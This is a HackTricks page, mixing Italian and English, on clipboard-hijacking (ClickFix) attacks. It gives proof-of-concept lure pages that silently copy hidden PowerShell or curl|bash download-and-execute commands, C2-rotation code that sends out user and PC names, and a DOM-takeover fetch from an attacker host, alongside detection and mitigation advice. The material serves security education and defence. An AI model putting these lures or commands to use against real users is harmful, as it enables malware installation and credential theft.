Clipboard Hijacking (Pastejacking) Attacks

Reading time: 10 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

"Non incollare mai nulla che non hai copiato tu stesso." – consiglio vecchio ma ancora valido

Panoramica

Clipboard hijacking – also known as pastejacking – sfrutta il fatto che gli utenti copiano e incollano di routine comandi senza ispezionarli. Una pagina web malevola (o qualsiasi contesto capace di JavaScript come un'applicazione Electron o Desktop) inserisce programmaticamente testo controllato dall'attaccante nella system clipboard. Le vittime vengono incoraggiate, normalmente tramite istruzioni di social engineering accuratamente studiate, a premere Win + R (Run dialog), Win + X (Quick Access / PowerShell), oppure ad aprire un terminale e incollare il contenuto del clipboard, eseguendo immediatamente comandi arbitrari.

Poiché nessun file viene scaricato e nessun allegato viene aperto, la tecnica bypassa la maggior parte dei controlli di sicurezza per e-mail e contenuti web che monitorano allegati, macros o l'esecuzione diretta di comandi. L'attacco è quindi popolare nelle campagne di phishing che distribuiscono famiglie di malware commodity come NetSupport RAT, Latrodectus loader o Lumma Stealer.

Prova di concetto in JavaScript

html
<!-- Any user interaction (click) is enough to grant clipboard write permission in modern browsers -->
<button id="fix" onclick="copyPayload()">Fix the error</button>
<script>
function copyPayload() {
const payload = `powershell -nop -w hidden -enc <BASE64-PS1>`; // hidden PowerShell one-liner
navigator.clipboard.writeText(payload)
.then(() => alert('Now press  Win+R , paste and hit Enter to fix the problem.'));
}
</script>

Campagne più vecchie utilizzavano document.execCommand('copy'); quelle più recenti si basano sull'asincrona Clipboard API (navigator.clipboard.writeText).

Il flusso ClickFix / ClearFake

  1. L'utente visita un sito typosquatted o compromesso (es. docusign.sa[.]com)
  2. Il JavaScript iniettato ClearFake chiama un helper unsecuredCopyToClipboard() che memorizza silenziosamente negli appunti un comando PowerShell in una sola riga codificato in Base64.
  3. Le istruzioni HTML dicono alla vittima: “Premere Win + R, incollare il comando e premere Invio per risolvere il problema.”
  4. powershell.exe viene eseguito, scaricando un archivio che contiene un eseguibile legittimo più una DLL malevola (classico DLL sideloading).
  5. Il loader decripta ulteriori stage, inietta shellcode e installa persistenza (es. scheduled task) – infine esegue NetSupport RAT / Latrodectus / Lumma Stealer.

Esempio di catena NetSupport RAT

powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe             # Sideloads msvcp140.dll
  • jp2launcher.exe (legittimo Java WebStart) cerca nella sua directory msvcp140.dll.
  • La DLL malevola risolve dinamicamente le API con GetProcAddress, scarica due binari (data_3.bin, data_4.bin) tramite curl.exe, li decifra usando una chiave rolling XOR "https://google.com/", inietta lo shellcode finale ed estrae client32.exe (NetSupport RAT) in C:\ProgramData\SecurityCheck_v1\.

Latrodectus Loader

powershell -nop -enc <Base64>  # Cloud Identificator: 2031
  1. Scarica la.txt con curl.exe
  2. Esegue il downloader JScript con cscript.exe
  3. Recupera un payload MSI → posiziona libcef.dll accanto a un'applicazione firmata → DLL sideloading → shellcode → Latrodectus.

Lumma Stealer tramite MSHTA

mshta https://iplogger.co/xxxx =+\\xxx

La chiamata mshta avvia uno script PowerShell nascosto che recupera PartyContinued.exe, estrae Boat.pst (CAB), ricostruisce AutoIt3.exe tramite extrac32 e concatenazione di file e infine esegue uno script .a3x che esfiltra le credenziali del browser verso sumeriavgv.digital.

ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)

Alcune campagne ClickFix evitano del tutto il download di file e istruiscono le vittime a incollare un one‑liner che recupera ed esegue JavaScript tramite WSH, lo persiste e ruota il C2 quotidianamente. Esempio di catena osservata:

powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr

Caratteristiche principali

  • URL offuscato invertito a runtime per eludere ispezioni superficiali.
  • JavaScript si persiste tramite uno Startup LNK (WScript/CScript) e seleziona il C2 in base al giorno corrente – consentendo una rapida domain rotation.

Frammento JS minimo usato per ruotare i C2 in base alla data:

js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}

La fase successiva di solito distribuisce un loader che stabilisce la persistenza e scarica un RAT (es. PureHVNC), spesso fissando TLS a un certificato hardcoded e frammentando il traffico.

Detection ideas specific to this variant

  • Process tree: explorer.exepowershell.exe -cwscript.exe <temp>\a.js (or cscript.exe).
  • Startup artifacts: LNK in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup invoking WScript/CScript with a JS path under %TEMP%/%APPDATA%.
  • Registry/RunMRU and command‑line telemetry containing .split('').reverse().join('') or eval(a.responseText).
  • Repeated powershell -NoProfile -NonInteractive -Command - with large stdin payloads to feed long scripts without long command lines.
  • Scheduled Tasks that subsequently execute LOLBins such as regsvr32 /s /i:--type=renderer "%APPDATA%\Microsoft\SystemCertificates\<name>.dll" under an updater‑looking task/path (e.g., \GoogleSystem\GoogleUpdater).

Threat hunting

  • Daily‑rotating C2 hostnames and URLs with .../Y/?t=<epoch>&v=5&p=<encoded_user_pc_firstinfection> pattern.
  • Correlate clipboard write events followed by Win+R paste then immediate powershell.exe execution.

Blue-teams can combine clipboard, process-creation and registry telemetry to pinpoint pastejacking abuse:

  • Windows Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU keeps a history of Win + R commands – look for unusual Base64 / obfuscated entries.
  • Security Event ID 4688 (Process Creation) where ParentImage == explorer.exe and NewProcessName in { powershell.exe, wscript.exe, mshta.exe, curl.exe, cmd.exe }.
  • Event ID 4663 for file creations under %LocalAppData%\Microsoft\Windows\WinX\ or temporary folders right before the suspicious 4688 event.
  • EDR clipboard sensors (if present) – correlate Clipboard Write followed immediately by a new PowerShell process.

IUAM-style verification pages (ClickFix Generator): clipboard copy-to-console + OS-aware payloads

Recent campaigns mass-produce fake CDN/browser verification pages ("Just a moment…", IUAM-style) that coerce users into copying OS-specific commands from their clipboard into native consoles. This pivots execution out of the browser sandbox and works across Windows and macOS.

Key traits of the builder-generated pages

  • OS detection via navigator.userAgent to tailor payloads (Windows PowerShell/CMD vs. macOS Terminal). Optional decoys/no-ops for unsupported OS to maintain the illusion.
  • Automatic clipboard-copy on benign UI actions (checkbox/Copy) while the visible text may differ from the clipboard content.
  • Mobile blocking and a popover with step-by-step instructions: Windows → Win+R→paste→Enter; macOS → open Terminal→paste→Enter.
  • Optional obfuscation and single-file injector to overwrite a compromised site’s DOM with a Tailwind-styled verification UI (no new domain registration required).

Example: clipboard mismatch + OS-aware branching

html
<div class="space-y-2">
<label class="inline-flex items-center space-x-2">
<input id="chk" type="checkbox" class="accent-blue-600"> <span>I am human</span>
</label>
<div id="tip" class="text-xs text-gray-500">If the copy fails, click the checkbox again.</div>
</div>
<script>
const ua = navigator.userAgent;
const isWin = ua.includes('Windows');
const isMac = /Mac|Macintosh|Mac OS X/.test(ua);
const psWin = `powershell -nop -w hidden -c "iwr -useb https://example[.]com/cv.bat|iex"`;
const shMac = `nohup bash -lc 'curl -fsSL https://example[.]com/p | base64 -d | bash' >/dev/null 2>&1 &`;
const shown = 'copy this: echo ok';            // benign-looking string on screen
const real = isWin ? psWin : (isMac ? shMac : 'echo ok');

function copyReal() {
// UI shows a harmless string, but clipboard gets the real command
navigator.clipboard.writeText(real).then(()=>{
document.getElementById('tip').textContent = 'Now press Win+R (or open Terminal on macOS), paste and hit Enter.';
});
}

document.getElementById('chk').addEventListener('click', copyReal);
</script>

macOS persistenza dell'esecuzione iniziale

  • Usa nohup bash -lc '<fetch | base64 -d | bash>' >/dev/null 2>&1 & in modo che l'esecuzione continui dopo la chiusura del terminale, riducendo gli artefatti visibili.

In-place page takeover su siti compromessi

html
<script>
(async () => {
const html = await (await fetch('https://attacker[.]tld/clickfix.html')).text();
document.documentElement.innerHTML = html;                 // overwrite DOM
const s = document.createElement('script');
s.src = 'https://cdn.tailwindcss.com';                     // apply Tailwind styles
document.head.appendChild(s);
})();
</script>

Detection & hunting ideas specific to IUAM-style lures

  • Web: Pagine che associano la Clipboard API a widget di verifica; discrepanza tra testo mostrato e clipboard payload; branching di navigator.userAgent; Tailwind + single-page replace in contesti sospetti.
  • Windows endpoint: explorer.exepowershell.exe/cmd.exe poco dopo un'interazione con il browser; installer batch/MSI eseguiti da %TEMP%.
  • macOS endpoint: Terminal/iTerm che avviano bash/curl/base64 -d con nohup vicino ad eventi del browser; job in background che sopravvivono alla chiusura del terminale.
  • Correlare la cronologia RunMRU di Win+R e le scritture negli appunti con la successiva creazione di processi console.

See also for supporting techniques

Clone a Website

Homograph Attacks

Mitigazioni

  1. Hardening del browser – disabilitare l'accesso in scrittura agli appunti (dom.events.asyncClipboard.clipboardItem etc.) o richiedere un gesto utente.
  2. Formazione sulla sicurezza – insegnare agli utenti di digitare i comandi sensibili o incollarli prima in un editor di testo.
  3. PowerShell Constrained Language Mode / Execution Policy + Application Control per bloccare comandi one-liner arbitrari.
  4. Controlli di rete – bloccare richieste in uscita verso domini noti di pastejacking e C2 di malware.
  • Discord Invite Hijacking spesso sfrutta lo stesso approccio ClickFix dopo aver adescato gli utenti in un server malevolo:

Discord Invite Hijacking

References

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks